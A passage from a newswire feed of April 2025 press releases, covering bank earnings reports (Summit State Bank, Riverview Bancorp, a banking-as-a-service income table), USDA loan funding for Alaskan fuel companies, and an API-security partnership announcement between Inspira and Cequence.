Transaction and interchange fees		3,833		3,699		2,661
Reimbursement of expenses		1,026		812		254
Total BaaS program income		6,278		5,554		4,046
BaaS indemnification income:
BaaS credit enhancements		53,648		62,097		79,808
BaaS fraud enhancements		1,993		5,043		923
BaaS indemnification income		55,641		67,140		80,731
Total noninterest BaaS income	$	61,919	$	72,694	$	84,777

Servicing and other BaaS fees increased $376,000 and transaction and interchange fees increased $134,000 in the quarter ended March 31, 2025 compared to the quarter ended December 31, 2024. We expect servicing and other BaaS fees to be higher when we are bringing new partners on and then to decrease when transaction and interchange fees increase as partner activity grows and contracted minimum fees are replaced with these recurring fees when they exceed the minimum fees. Increases in BaaS reimbursement of fees offsets increases in noninterest expense from BaaS expenses covered by CCBX partners.

BaaS loan and fraud expense:	Three Months Ended
(dollars in thousands; unaudited)	March 31, 2025		December 31, 2024		March 31, 2024
BaaS loan expense	$	32,507	$	30,720	$	26,107
BaaS fraud expense		1,993		5,043		923
Total BaaS loan and fraud expense	$	34,500	$	35,763	$	27,030

A photo accompanying this announcement is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/26a7ee4c-99dc-493e-8703-90dc906581e2

The MIL Network –

April 30, 2025

MIL-OSI: Vitus Marine, Greatland Fuel Sales, and Vitus Terminals Secure Combined $37M in USDA Funding to Expand Fuel Infrastructure and Strengthen Rural Alaskan Communities

Source: GlobeNewswire (MIL-OSI)

LAGRANGE, Ga., April 29, 2025 (GLOBE NEWSWIRE) — Vitus Marine LLC, Greatland Fuel Sales LLC (GFS), and Vitus Terminals LLC (VT), collectively (Vitus), announced today the group secured $37M in USDA Business & Industry (B&I) Loan Program funding to enhance fuel infrastructure and drive economic growth in rural Alaska. Phoenix Lender Services (Phoenix) facilitated the loan fundings with Community Bank & Trust. Phoenix is a subsidiary of Community Bankshares Inc., which originated, underwrote, and closed the loans, while Community Bank & Trust funded the loans. This second series of loans follows a total of $25M in three B&I loans funded in June of 2024 for Vitus.

These strategic investments support existing jobs, improve access to essential energy resources and bolster local economies in some of Alaska’s most remote regions.

On a combined basis for the three companies, these two loan tranches secured over $62 million in total funding and made a significant positive impact to strengthen vital energy infrastructure in Alaska. The Vitus family of companies runs bulk fuel, freight lighterage and energy products to consumers in remote Alaskan communities and provides vital heat, electricity and logistics support to its customers.

“These partnerships represent the impact we strive to achieve—empowering rural businesses to grow and continuing to serve communities with critical services,” said Chris Hurn, President/CEO of Phoenix Lender Services. “Vitus Marine, Greatland Fuel Sales, and Vitus Terminals are vital to Alaska’s energy infrastructure, and we’re proud to support them through the USDA B&I Program.”

These loans offer favorable terms with lower interest rates and longer repayment terms, reducing financial burdens and demonstrating a commitment to the sustainability and growth of rural businesses. These investments highlight a powerful public-private partnership focused on preserving access, affordability, and economic opportunity for some of America’s most underserved regions.

“Fuel and energy access is an essential service for all people. Energy access is not a luxury for the people we serve,” said Justin Charon, Owner and CEO of Vitus. “This collaboration ensures that our customers can continue to depend on us, no matter how remote their community or harsh the delivery season.”

For more information on Phoenix and its lending solutions, visit https://phoenixlenderservices.com.

About Phoenix Lender Services
Based in Georgia and serving clients nationwide, Phoenix Lender Services offers a comprehensive suite of commercial lending solutions, including loan underwriting, closing, and servicing; participant lender matching; secondary market sales; portfolio management; risk analysis; and compliance reviews and regulatory support. Seasoned professionals at Phoenix combine extensive industry expertise in SBA, USDA, and commercial government-guaranteed lending with industry-leading technologies to deliver tailored solutions that align with each client’s unique strategic goals. Phoenix Lender Services is leading the way in SBA, USDA, and commercial lending.

About Vitus Marine LLC [1]
Vitus Marine LLC (VM) is one of two major fuel importers and distributors in Western Alaska with the ability to craft custom import solutions, offer hedging ideas and card-lock alternatives for its commercial and industrial buyers. Its customers have learned to depend on the team at Vitus Marine for creative approaches to solve the problems they face in the remote Arctic region the team serves.

About Vitus Terminals LLC
Vitus Terminals LLC (VT) is one of a few major fuel importers and distributors into the roadless regions in Western Alaska. They provide heating fuel deliveries to homes and businesses with convenience store access in Bethel and Dillingham, Alaska. All locations offer 24-hour card-lock access. They specialize in the storage, sale, hedging and distribution of fuel through their service hubs in Bethel, Kotzebue, Dillingham, St. Michael, Alaska.

About Greatland Fuel Sales LLC
Greatland Fuel Sales LLC continues Vitus Energy’s 15-year history of providing energy to Alaska with unique and timely solutions to create value for its customers through its growing energy supply network and clean convenience stores. Their mission is to deliver competitive energy alternatives for local road warriors and visitors to Alaska.

About Community Bank & Trust
Community Bank & Trust (CB&T), a subsidiary of Community Bankshares Inc., is a trusted financial institution dedicated to serving individuals, families, and businesses across its service area and nationwide. Headquartered in LaGrange, GA, CB&T is committed to leveraging its rural roots to empower both local consumers and commercial entities, as well as underserved groups and communities with a broad slate of accessible, personalized banking solutions, while also reaching a diverse and growing nationwide audience.

MEDIA CONTACT
Hannah Conley
Uproar by Moburst for Community Bankshares, Inc.
hannah.conley@moburst.com

The MIL Network –

April 30, 2025

MIL-OSI: Summit State Bank Earns $2.5 Million, or $0.37 Per Diluted Share, in First Quarter 2025

Source: GlobeNewswire (MIL-OSI)

SANTA ROSA, Calif., April 29, 2025 (GLOBE NEWSWIRE) — Summit State Bank (the “Bank”) (Nasdaq: SSBI) today reported net income of $2,494,000, or $0.37 per diluted share for the first quarter ended March 31, 2025, compared to net income of $1,395,000, or $0.21 per diluted share for the first quarter ended March 31, 2024.

“Our operating performance for the first quarter of 2025 was a significant improvement over the prior quarter, fueled by strong net interest income generation and net interest margin expansion,” said Brian Reed, President and CEO. “We are feeling positive about our earnings trajectory, as we have made significant progress in resolving problem loans which negatively impacted the Bank’s performance in 2024. While market volatility continues throughout the financial sector, we will remain consistent with our balance sheet management and operating procedures. Continued repricing of our deposit and loan portfolio is expected to have a positive impact on our net interest margin and financial results going forward.”

“We continue to focus on maintaining strong capital levels by strategically managing the balance sheet and suspending cash dividends,” said Reed. “As such, the Board determined it will also suspend cash dividends in the second quarter of 2025 so that we can continue to build capital, increase liquidity, and position the Bank to create long-term value for our shareholders.”

“Another highlight of the first quarter was the substantial decrease in problem loans and non-performing assets,” said Reed. “We have been aggressively pursuing solutions to problem loans and have reduced our non-performing loans by $10,307,000 during the first quarter of 2025 compared to the preceding quarter, and by $24,101,000 compared to a year ago. Additionally, we anticipate non-performing loans will be further reduced by $8,016,000 in the second quarter of 2025 as a result of loan payoffs from the sale of collateral that is currently under contract. These loans represent 46% of our $17,400,000 in non-performing loans. We are encouraged with our progress in resolving problem loans and will continue to make this a primary focus of the Bank.”

First Quarter 2025 Financial Highlights (at or for the three months ended March 31, 2025)

Net income was $2,494,000, or $0.37 per diluted share, compared to $1,395,000, or $0.21 per diluted share, in the first quarter of 2024 and a net loss of $7,142,000, or $1.06 loss per diluted share for the quarter ended December 31, 2024.
Net interest margin was 3.19% in the first quarter of 2025 compared to 2.81% in the first quarter of 2024 and 2.88% in the fourth quarter of 2024.
Non-performing assets decreased to $21,884,000 at March 31, 2025 compared to $41,548,000 in non-performing assets at March 31, 2024 and $32,191,000 at December 31, 2024.
Collateral relating to three of the non-performing loans to one borrower is under contract to sell in the second quarter of 2025 and the expected proceeds represent 46% or $8,016,000 of the remaining $17,447,000 of non-performing loans.
The Bank’s Tier 1 Leverage ratio increased to 9.45% at March 31, 2025 compared to 9.21% at March 31, 2024. This ratio remains well above the minimum of 5% required to be considered “well-capitalized” for regulatory capital purposes.
The Bank’s annualized return on average assets and annualized return on average equity for the first quarter of 2025 was 0.95% and 10.80%, respectively. This compared to annualized return on average assets and annualized return on average equity for the first quarter of 2024 of 0.51% and 5.74%, respectively.
The allowance for credit losses to total loans was 1.53% at March 31, 2025 compared to 1.66% one year earlier and 1.49% in the preceding quarter.
The Bank maintained strong total liquidity of $448,039,000, or 42.1% of total assets as of March 31, 2025. This includes on balance sheet liquidity (cash and equivalents and unpledged available-for-sale securities) of $141,145,000 or 13.3% of total assets, plus available borrowing capacity of $306,894,000 or 28.9% of total assets.
The Bank has been strategically managing its loan and deposit portfolios to reduce risk in the balance sheet and improve capital ratios. The Bank has been successful in reducing the size of its balance sheet as noted below:
- Net loans decreased 4% to $877,354,000 at March 31, 2025, compared to $917,685,000 one year earlier and decreased 3% compared to $905,075,000 in the fourth quarter of 2024.
- Total deposits increased 2% to $957,065,000 at March 31, 2025, compared to $939,202,000 at March 31, 2024, and decreased 1% when compared to the fourth quarter of 2024, at $962,562,000.
Book value was $14.07 per share, compared to $14.43 per share a year ago and $13.53 in the fourth quarter of 2024.

Operating Results

For the first quarter of 2025, the annualized return on average assets was 0.95% and the annualized return on average equity was 10.80%. This compared to an annualized return on average assets of 0.51% and an annualized return on average equity of 5.74%, respectively, for the first quarter of 2024.

“The 31 basis point improvement in our net interest margin during the first quarter of 2025, compared to the preceding quarter, was a result of lower cost of funds as well as higher loan yields as existing loans continue to reprice,” said Reed. “We anticipate additional improvement to our net interest margin over the next few quarters as time deposits and loans reprice.” The Bank’s net interest margin was 3.19% in the first quarter of 2025 compared to 2.81% in the first quarter of 2024 and 2.88% in fourth quarter of 2024.

Interest and dividend income increased 0.4% to $14,542,000 in the first quarter of 2025 compared to $14,477,000 in the first quarter of 2024. The increase in interest income is attributable to a $146,000 increase in interest and fees on loans, an increase of $115,000 in interest on deposits with banks offset by a $197,000 decrease in interest on investment securities.

Interest expense decreased 9% to $6,464,000 in the first quarter of 2025 compared to $7,070,000 in the first quarter of 2024. The decrease in interest expense is primarily attributable to a $498,000 decrease in interest expense on deposits resulting from lower cost of funds and a $150,000 decrease in interest expense on Federal Home Loan Bank advances due to decreased borrowing volume.

Noninterest income decreased in the first quarter of 2025 to $646,000 compared to $948,000 in the first quarter of 2024. The decrease is primarily attributed to the Bank recognizing $514,000 in gains on sales of SBA guaranteed loan balances in the first quarter of 2024 compared to $22,000 in gains on sales of SBA guaranteed loan balances in the first quarter of 2025.

“We have worked hard at implementing significant cost savings throughout the Bank to improve operating efficiencies,” said Reed. Operating expenses decreased in the first quarter of 2025 to $6,253,000 compared to $6,400,000 in the first quarter of 2024. The savings is primarily due to a decrease of $455,000 in salaries and employee benefits from an 8% reduction in force due to a cost savings initiative in the fourth quarter of 2024 offset by an increase in FDIC deposit insurance and stock appreciation rights expense in the first quarter of 2025.

Balance Sheet Review

During the first quarter of 2025, the Bank strategically managed its loan and deposit portfolios to reduce balance sheet risk and improve liquidity and capital ratios. As a result, net loans decreased 4% to $877,354,000 and total deposits increased 2% to $957,065,000 as of March 31, 2025 compared to March 31, 2024.

Net loans were $877,354,000 at March 31, 2025 compared to $917,685,000 at March 31, 2024, and decreased 3% compared to December 31, 2024. The Bank’s largest loan types are commercial real estate loans which make up 78% of the portfolio and loans “secured by farmland” totaling 8% of the portfolio. Of the commercial real estate total, approximately 33% or $222,334,000 is owner occupied and the remaining 67% or $443,684,000 is non-owner occupied. The Bank’s entire loan portfolio is well diversified between industries and product type. The office space product type totals $154,512,000 or 17% of the total loan portfolio; of this total owner occupied is $59,563,00 or 39% and non-owner occupied is $94,949,000 or 61%.
Total deposits were $957,065,000 at March 31, 2025 compared to $939,202,000 at March 31, 2024, and decreased 1% compared to the prior quarter end. At March 31, 2025, noninterest bearing demand deposit accounts increased 11% compared to a year ago and represented 21% of total deposits; savings, NOW and money market accounts decreased 10% compared to a year ago and represented 46% of total deposits, and CDs increased 17% compared to a year ago and comprised 33% of total deposits.

Shareholders’ equity was $95,341,000 at March 31, 2025, compared to $97,878,000 one year earlier and $91,723,000 three months earlier. The decrease in shareholders’ equity compared to a year ago was due to a reduction in retained earnings. At March 31, 2025 book value was $14.07 per share, compared to $13.53 three months earlier, and $14.43 at March 31, 2024.

The Bank’s Tier 1 Leverage ratio continues to exceed the minimum of 5% necessary to be categorized as “well-capitalized” for regulatory capital purposes. The Tier-1 leverage ratio for the first quarter of 2025 was 9.45%, an increase compared to 9.21% for the first quarter of 2024.

Credit Quality

Non-performing assets were $21,884,000, or 2.06% of total assets, at March 31, 2025. This compared to $32,191,000 in non-performing assets at December 31, 2024, and $41,548,000 in non-performing assets at March 31, 2024. Non-performing assets include $4,437,000 for one other real estate owned property at March 31, 2025 and December 31, 2024, compared to no other real estate owned property at March 31, 2024.

“While we are encouraged with the improvements in credit quality metrics, our primary focus remains on managing asset quality and reducing portfolio risk,” said Reed. “As of March 31, 2025, six loans to two borrowers totaling $16,047,000 or 92% of our non-performing loans are “secured by farmland,” a sector that has been hit hard by the current economic environment. Outside of these loans, the Bank holds a small portion, $54,714,000 or 6%, of its total loans in this industry and actively monitors the performance of these loans. Collateral relating to three of these loans to one borrower is under contract to sell during the second quarter of 2025 and represents 46% or $8,016,000 of the total non-performing loan portfolio.”

There was $509,000 in net recoveries during the three months ended March 31, 2025, compared to $8,343,000 in net charge-offs during the three months ended December 31, 2024 and net recoveries of $281,000 during the three months ended March 31, 2024.

For the first quarter of 2025, consistent with factors within the allowance for credit losses model, the Bank recorded a $577,000 reversal of credit loss expense for loans due to a $509,000 recovery received on a paid off loan previously charged-off, a $38,000 reversal of credit losses for unfunded loan commitments and a $13,000 reversal of credit losses on investments. This compared to a $15,000 reversal of credit loss expense on loans, a $65,000 reversal of credit losses on unfunded loan commitments and a $5,000 reversal of credit losses on investments in the first quarter of 2024. The allowance for credit losses to total loans was 1.53% on March 31, 2025, and 1.66% on March 31, 2024.

About Summit State Bank

Founded in 1982 and headquartered in Sonoma County, Summit State Bank is an award-winning community bank serving the North Bay. The Bank serves small businesses, nonprofits and the community, with total assets of $1.1 billion and total equity of $95 million as of March 31, 2025. The Bank has built its reputation over the past 40 years by specializing in providing exceptional customer service and customized financial solutions to aid in the success of its customers.

Summit State Bank is committed to embracing the diverse backgrounds, cultures and talents of its employees to create high performance and support the evolving needs of its customers and community it serves. Through the engagement of its team, Summit State Bank has received many esteemed awards including: Top Performing Community Bank by American Banker, Best Places to Work in the North Bay and Diversity in Business by North Bay Business Journal, Corporate Philanthropy Award by the San Francisco Business Times, and Hall of Fame by North Bay Biz Magazine. Summit State Bank’s stock is traded on the Nasdaq Global Market under the symbol SSBI. Further information can be found at www.summitstatebank.com.

Cautionary Note Regarding Preliminary Financial Results and Forward-looking Statements

The financial results in this release are preliminary and unaudited. Final audited financial results and other disclosures will be reported in Summit State Bank’s annual report on Form 10-Q for the period ended March 31, 2025, and may differ materially from the results and disclosures in this release due to, among other things, the completion of final review procedures, the occurrence of subsequent events or the discovery of additional information.

Except for historical information, the statements contained in this release, are forward-looking statements within the meaning of the “safe harbor” provisions of Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934, as amended. Forward-looking statements are non-historical statements regarding management’s expectations and beliefs about the Bank’s future financial performance and financial condition and trends in its business and markets. Words such as “expects,” “anticipates,” “believes,” “estimates” and similar expressions or future or conditional verbs such as “will,” “should,” “would” and “could” are intended to identify such forward-looking statements. Examples of forward-looking statements include but are not limited to statements regarding future operating results, operating improvements, loans sales and resolutions, cost savings, insurance recoveries and dividends. The forward-looking statements in this release are based on current information and on assumptions about future events and circumstances that are subject to a number of risks and uncertainties that are often difficult to predict and beyond the Bank’s control. As a result of those risks and uncertainties, the Bank’s actual future results and outcomes could differ, possibly materially, from those expressed in or implied by the forward-looking statements contained in this release. Those risks and uncertainties include, but are not limited to, the risk of incurring credit losses; the quality and quantity of deposits; the market for deposits, adverse developments in the financial services industry and any related impact on depositor behavior or investor sentiment; risks related to the sufficiency of the Bank’s liquidity; fluctuations in interest rates; governmental regulation and supervision; the risk that the Bank will not maintain growth at historic rates or at all; general economic conditions, either nationally or locally in the areas in which the Bank conducts its business; risks associated with changes in interest rates, which could adversely affect future operating results; the risk that customers or counterparties may not performance in accordance with the terms of credit documents or other agreements due a decline in credit worthiness, business conditions or other reasons;; adverse conditions in real estate markets; and the inherent uncertainty of expectations regarding litigation, insurance claims and the performance or resolution of loans. Additional information regarding these and other risks and uncertainties to which the Bank’s business and future financial performance are subject is contained in the Bank’s Annual Report on Form 10-K for the fiscal year ended December 31, 2024 and other documents the Bank files with the FDIC from time to time. Readers should not place undue reliance on the forward-looking statements, which reflect management’s views only as of the date of this release. The Bank undertakes no obligation to publicly revise these forward-looking statements to reflect subsequent events or circumstances.


SUMMIT STATE BANK
STATEMENTS OF INCOME
(In thousands except earnings per share data)
			Three Months Ended
			March 31, 2025			December 31, 2024			March 31, 2024
			(Unaudited)			(Unaudited)			(Unaudited)

Interest and dividend income:
	Interest and fees on loans		$	13,420		$	13,623		$	13,274
	Interest on deposits with banks			477			655			362
	Interest on investment securities			515			530			712
	Dividends on FHLB stock			130			127			129
		Total interest and dividend income		14,542			14,935			14,477
Interest expense:
	Deposits			6,288			7,099			6,786
	Federal Home Loan Bank advances			40			6			190
	Junior subordinated debt			136			128			94
		Total interest expense		6,464			7,233			7,070
		Net interest income before provision for (reversal of) credit losses		8,078			7,702			7,407
(Reversal of) provision for credit losses on loans				(577	)		6,570			(15	)
(Reversal of) provision for credit losses on unfunded loan commitments				(38	)		154			(65	)
(Reversal of) credit losses on investments				(13	)		(2	)		(5	)
		Net interest income after provision for (reversal of) credit
		losses on loans, unfunded loan commitments and investments		8,706			980			7,492
Non-interest income:
	Service charges on deposit accounts			225			225			233
	Rental income			57			61			60
	Net gain on loan sales			22			857			514
	Net gain on securities			–			6			–
	Loss on valuation of other real estate owned			–			(693	)		–
	Other income			342			224			141
		Total non-interest income		646			680			948
Non-interest expense:
	Salaries and employee benefits			3,727			3,429			4,182
	Occupancy and equipment			421			413			485
	Goodwill impairment			–			4,119			–
	Other expenses			2,105			2,239			1,733
		Total non-interest expense		6,253			10,200			6,400
		Income (loss) before provision for income taxes		3,099			(8,540	)		2,040
Provision for income tax expense (benefit)				605			(1,398	)		645
		Net income (loss)	$	2,494		$	(7,142	)	$	1,395

Basic earnings (loss) per common share			$	0.37		$	(1.06	)	$	0.21
Diluted earnings (loss) per common share			$	0.37		$	(1.06	)	$	0.21

Basic weighted average shares of common stock outstanding				6,719			6,719			6,698
Diluted weighted average shares of common stock outstanding				6,719			6,719			6,698


SUMMIT STATE BANK
BALANCE SHEETS
(In thousands except share data)
				March 31, 2025			December 31, 2024			March 31, 2024
				(Unaudited)			(Audited)			(Unaudited)
ASSETS
Cash and due from banks				$	72,408		$	51,403		$	37,712
			Total cash and cash equivalents		72,408			51,403			37,712

Investment securities:
	Available-for-sale, less allowance for credit losses of $23, $36 and $53
		(at fair value; amortized cost of $79,827, $80,887 and $96,973)			68,737			68,228			83,832

Loans, less allowance for credit losses of $13,625, $13,693 and $15,487					877,354			905,075			917,685
Bank premises and equipment, net					5,057			5,155			5,287
Investment in Federal Home Loan Bank stock (FHLB), at cost					5,889			5,889			5,541
Goodwill					–			–			4,119
Other Real Estate Owned					4,437			4,437			–
Affordable housing tax credit investments					7,202			7,413			8,165
Accrued interest receivable and other assets					22,279			19,494			17,850

			Total assets	$	1,063,363		$	1,067,094		$	1,080,191

LIABILITIES AND
SHAREHOLDERS’ EQUITY
Deposits:
	Demand – non interest-bearing			$	198,736		$	185,756		$	179,328
	Demand – interest-bearing				192,764			193,355			222,313
	Savings				39,000			47,235			48,214
	Money market				212,900			226,879			222,153
	Time deposits that meet or exceed the FDIC insurance limit				93,154			70,717			65,763
	Other time deposits				220,511			238,620			201,431
			Total deposits		957,065			962,562			939,202

Federal Home Loan Bank advances					–			–			28,600
Junior subordinated debt					5,938			5,935			5,924
Affordable housing commitment					511			511			4,094
Accrued interest payable and other liabilities					4,508			6,363			4,493

			Total liabilities		968,022			975,371			982,313

Shareholders’ equity
	Preferred stock, no par value; 20,000,000 shares authorized;
		no shares issued and outstanding			–			–			–
	Common stock, no par value; shares authorized – 30,000,000 shares;
		issued and outstanding 6,776,563, 6,776,563 and 6,784,099			37,803			37,740			37,552
	Retained earnings				65,364			62,869			69,539
	Accumulated other comprehensive loss, net				(7,826	)		(8,886	)		(9,213	)

			Total shareholders’ equity		95,341			91,723			97,878

			Total liabilities and shareholders’ equity	$	1,063,363		$	1,067,094		$	1,080,191

Financial Summary
(Dollars in thousands except per share data)
	As of and for the
	Three Months Ended
	March 31, 2025			December 31, 2024			March 31, 2024
	(Unaudited)			(Unaudited)			(Unaudited)
Statement of Income Data:
Net interest income	$	8,078		$	7,702		$	7,407
(Reversal of) provision for credit losses on loans		(577	)		6,570			(15	)
(Reversal of) provision for credit losses on unfunded loan commitments		(38	)		154			(65	)
(Reversal of) credit losses on investments		(13	)		(2	)		(5	)
Non-interest income		646			680			948
Non-interest expense		6,253			10,199			6,400
Provision for income tax expense (benefit)		605			(1,398	)		645
Net income (loss)	$	2,494		$	(7,141	)	$	1,395

Selected per Common Share Data:
Basic earnings (loss) per common share	$	0.37		$	(1.06	)	$	0.21
Diluted earnings (loss) per common share	$	0.37		$	(1.06	)	$	0.21
Dividend per share	$	–		$	–		$	0.12
Book value per common share (1)	$	14.07		$	13.53		$	14.43

Selected Balance Sheet Data:
Assets	$	1,063,363		$	1,067,094		$	1,080,191
Loans, net		877,354			905,075			917,685
Deposits		957,065			962,562			939,202
Average assets		1,059,902			1,098,885			1,087,960
Average earning assets		1,028,563			1,064,872			1,057,338
Average shareholders’ equity		93,620			101,307			97,471
Nonperforming loans		17,447			27,754			41,548
Net loans recovered (charged-off)		509			(8,343	)		281
Other real estate owned		4,437			4,437			–
Total nonperforming assets		21,884			32,191			41,548

Selected Ratios:
Return (loss) on average assets (2)		0.95	%		-2.59	%		0.51	%
Return (loss) on average common shareholders’ equity (2)		10.80	%		-28.04	%		5.74	%
Efficiency ratio (3)		71.68	%		121.76	%		76.60	%
Net interest margin (2)		3.18	%		2.88	%		2.81	%
Common equity tier 1 capital ratio		10.47	%		10.14	%		10.37	%
Tier 1 capital ratio		10.47	%		10.14	%		10.37	%
Total capital ratio		12.22	%		11.89	%		12.24	%
Tier 1 leverage ratio		9.45	%		8.87	%		9.21	%
Common dividend payout ratio (4)		0.00	%		0.00	%		58.27	%
Average shareholders’ equity to average assets		8.83	%		9.22	%		8.96	%
Nonperforming loans to total loans		1.96	%		3.02	%		4.45	%
Nonperforming assets to total assets		2.06	%		3.02	%		3.85	%
Allowance for credit losses to total loans		1.53	%		1.49	%		1.66	%
Allowance for credit losses to nonperforming loans		78.09	%		49.34	%		37.27	%

(1) Total shareholders’ equity divided by total common shares outstanding.
(2) Annualized.
(3) Non-interest expenses to net interest and non-interest income, net of securities gains.
(4) Common dividends divided by net income available for common shareholders.

Contact: Brian Reed, President and CEO, Summit State Bank (707) 568-4908

The MIL Network –

April 30, 2025

MIL-OSI: Inspira and Cequence Security Join Forces to Strengthen API Security and Bot Defense Worldwide

Source: GlobeNewswire (MIL-OSI)

SAN FRANCISCO, April 29, 2025 (GLOBE NEWSWIRE) — Inspira Enterprise, Inc. (“Inspira”), a global cybersecurity services leader, today announced a strategic partnership with Cequence Security, a pioneer in API security and bot management. With this collaboration, Inspira and Cequence will help organizations globally defend against the full spectrum of API based threats, including automated threats, ranging from malicious bots to business logic abuse, while maintaining frictionless digital experiences. The cybersecurity landscape will be fortified by pairing Inspira’s end-to-end cybersecurity services across advisory, transformation, and operations, and a range of data analytics solutions, with Cequence’s innovative Unified API Protection (UAP) platform.

APIs have become the backbone of modern digital transformation, powering everything from mobile apps to customer portals. But with that innovation comes risk. Security teams face significant challenges in protecting API applications, especially with their rapid deployment across multiple cloud environments. Unmanaged and unprotected APIs often expose critical vulnerabilities, while inconsistent security postures across the application landscape add further complexity and risk.

Cequence Security’s UAP platform helps organizations gain visibility into their API traffic, ensure API compliance, test for security gaps, and stop automated threats such as credential stuffing, scraping, and fake account creation. While doing so, the Platform also ensures that it does not block good bots, alter development cycles, or disrupt the business or user experience.

“Our customers are under pressure to secure their APIs, manage risk, and meet growing compliance demands across geographies,” said Geetanjali Sethi, President – Strategy and Growth at Inspira. “By partnering with Cequence, we’re expanding our portfolio to offer API security and bot protection as a fully managed service, combining cutting-edge technology with our global expertise and 24/7 operational support.”

Cequence is proud to join Inspira’s trusted partner ecosystem, helping them bring outcome-driven API protection and bot mitigation to customers worldwide. Customers can now detect and stop sophisticated API attacks, enhance API governance and security testing, improve visibility and response time, secure APIs during open banking transitions, and meet stringent data sovereignty requirements.

“This partnership is rooted in delivering real outcomes,” said Arun Gowda, VP of Business Development at Cequence Security. “With Cequence, customers already get a world-class platform to secure their APIs and defend against automated attacks. Now, paired with Inspira’s global reach and service capabilities, organizations can consume the platform as a managed service, enabling faster implementation, management, and threat monitoring.”

As part of the partnership, Inspira is augmenting its cybersecurity portfolio with industry-leading API security and bot management capabilities, offering not only the Cequence Platform but also the managed security services wrapped around it. Inspira will provide expert deployment, advisory support, ongoing monitoring, and full lifecycle threat management to help customers adopt and operate the solution with ease. The joint offering delivers a full-stack approach to API protection and bot defense, backed by Inspira’s white-glove service model and global Cyber Fusion Centers.

About Inspira Enterprise
Inspira Enterprise is a global Cybersecurity, Data Analytics, and Artificial Intelligence services provider with a presence in North America, ASEAN, the Middle East, India, and Africa. It offers a wide range of services to a host of industries like Banking, Financial Services and Insurance (BFSI), Healthcare, Public Sector, Manufacturing, Information technology-enabled services (ITeS), eCommerce, and others. Inspira believes in delivering adaptive, intelligent, industry and customer-centric solutions for the resilient businesses of tomorrow. Inspira is also a NVIDIA partner specializing in the planning, design, implementation, and project management of solutions that include NVIDIA products and technologies to address customers’ business and technology needs.

Over the years, Inspira has successfully designed and delivered complex transformational projects to over 250+ customers, including the Government, PSUs, BFSI, and Enterprise customers, with a team of over 1600 professionals. For more information, please visit https://inspiraenterprise.com/.

About Cequence Security
Cequence is a pioneer in API security and bot management, protecting the applications and APIs that organizations depend on from cyberattacks, business logic abuse, and fraud. Its Unified API Protection platform brings together discovery, compliance, and protection capabilities to deliver real-time defense against advanced threats. Requiring no code changes or app instrumentation, Cequence demonstrates value in minutes and scales to support the world’s largest private and public sector organizations—safeguarding more than 8 billion API interactions daily and over 3 billion user accounts. Learn more at www.cequence.ai.

The MIL Network –

April 30, 2025

MIL-OSI: Riverview Bancorp Reports Net Income of $1.1 Million in Fourth Fiscal Quarter 2025 and $4.9 Million for Fiscal 2025

Source: GlobeNewswire (MIL-OSI)

FISCAL Q4 2025 HIGHLIGHTS


$1.1 Million	$0.05	$6.33	0.01%
Net Income	Diluted Earnings per Common Share	Tangible Book Value per Share	NPAs to Total Assets

Fiscal Quarter Comparison Highlights
Net Interest Income and Net Interest Margin	$9.2 million net interest income for the quarter compared to $8.6 million in Fiscal Q4 2024 Net interest margin at 2.65% for the quarter compared to 2.32% in Fiscal Q4 2024	Credit Quality	Non-performing assets at 0.01% of total assets and 0.01% of total loans – similar to year ago quarter No provision booked for the quarter and net recoveries were minimal

Non-Interest Income and Non-Interest Expense	Non-interest income of $3.7 million for the quarter compared to $494 thousand in Fiscal Q4 2024 (due to strategic investment restructure) Non-interest expense of $11.4 million for the quarter compared to $13.1 million in Fiscal Q4 2024	Shareholder Returns and Stock Activity	On April 25, 2025, the Company paid a cash dividend of $0.02 per share $2.0 million stock repurchase plan completed during the quarter

VANCOUVER, Wash., April 29, 2025 (GLOBE NEWSWIRE) — Riverview Bancorp, Inc. (Nasdaq GSM: RVSB) (“Riverview” or the “Company”) today reported earnings of $1.1 million, or $0.05 per diluted share, in the fourth fiscal quarter ended March 31, 2025, compared to $1.2 million, or $0.06 per diluted share, in the third fiscal quarter ended December 31, 2024. During the fourth fiscal quarter of 2024, Riverview strategically restructured a portion of its balance sheet resulting in an after-tax impact of $2.1 million and recorded $2.3 million in non-interest expense related to a litigation charge. Including the effects of the investment portfolio restructuring and litigation charge, Riverview reported a net loss of $3.0 million, or $0.14 per diluted share, in the fourth fiscal quarter ended March 31, 2024.

For fiscal 2025, net income was $4.9 million, or $0.23 per diluted share, compared to $3.8 million, or $0.18 per diluted share, for fiscal 2024.

“We closed out our fiscal fourth quarter and fiscal year end on solid footing despite the economic uncertainty and market volatility impacting all banks,” stated Nicole Sherman, President and Chief Executive Officer. “Riverview’s operating performance during the quarter once again reflected steady improvements, with net interest margin expansion as a result of stabilizing funding costs and higher loan yields compared to a year ago. Loan growth was strong during the quarter, and I am proud of our team’s relationship-focused approach to clients and prospects which resulted in loan production outperforming the previous four quarters. A top priority remains improving our operating performance while also being the bank of choice to our SW Washington and NW Oregon clients that we have served for over 100 years. With our strong capital levels, disciplined credit culture and stable balance sheet, we have a great foundation to build upon in fiscal 2026.

Riverview recently completed our three-year strategic plan focusing on profitable growth, digital leadership, and data empowerment, with our employees, clients, and communities being seen, heard, and valued in everything we do. We continue to expand revenue opportunities through our C&I, business banking, and treasury management initiatives. Strategic investments in people and technology will be important, while managing operating expenses. At Riverview we are unwavering in our dedication to exceed the needs of our employees, clients, shareholders and all stakeholders,” Sherman concluded.

Fourth Quarter Highlights (at or for the period ended March 31, 2025)

Net interest income was $9.2 million for the quarter, compared to $9.4 million in the preceding quarter and $8.6 million in the fourth fiscal quarter a year ago.
Net interest margin (“NIM”) was 2.65% for the quarter, a five basis point improvement compared to the preceding quarter and a 33 basis point improvement compared to the year ago quarter.
Riverview Trust Company assets under management were $877.9 million at March 31, 2025. Asset management fees continue to improve and increased to $1.5 million for the quarter ended March 31, 2025.
Asset quality remained strong, with non-performing assets at $155,000, or 0.01% of total assets at March 31, 2025.
Riverview recorded no provision for credit losses during the current quarter, the preceding quarter, or in the year ago quarter.
Tangible book value per share (non-GAAP) was $6.33 at March 31, 2025 compared to $6.20 at December 31, 2024.

Fiscal 2025 Highlights (at or for the period ended March 31, 2025)

Total loans increased to $1.06 billion at March 31, 2025 compared to $1.02 billion at March 31, 2024.
Total deposits were $1.23 billion at both March 31, 2025 and March 31, 2024.
Tangible book value per share (non-GAAP) was $6.33 at March 31, 2025 compared to $6.07 at March 31, 2024.
Net income increased to $4.9 million for the fiscal year ended March 31, 2025 compared to $3.8 million for the fiscal year ended March 31, 2024.
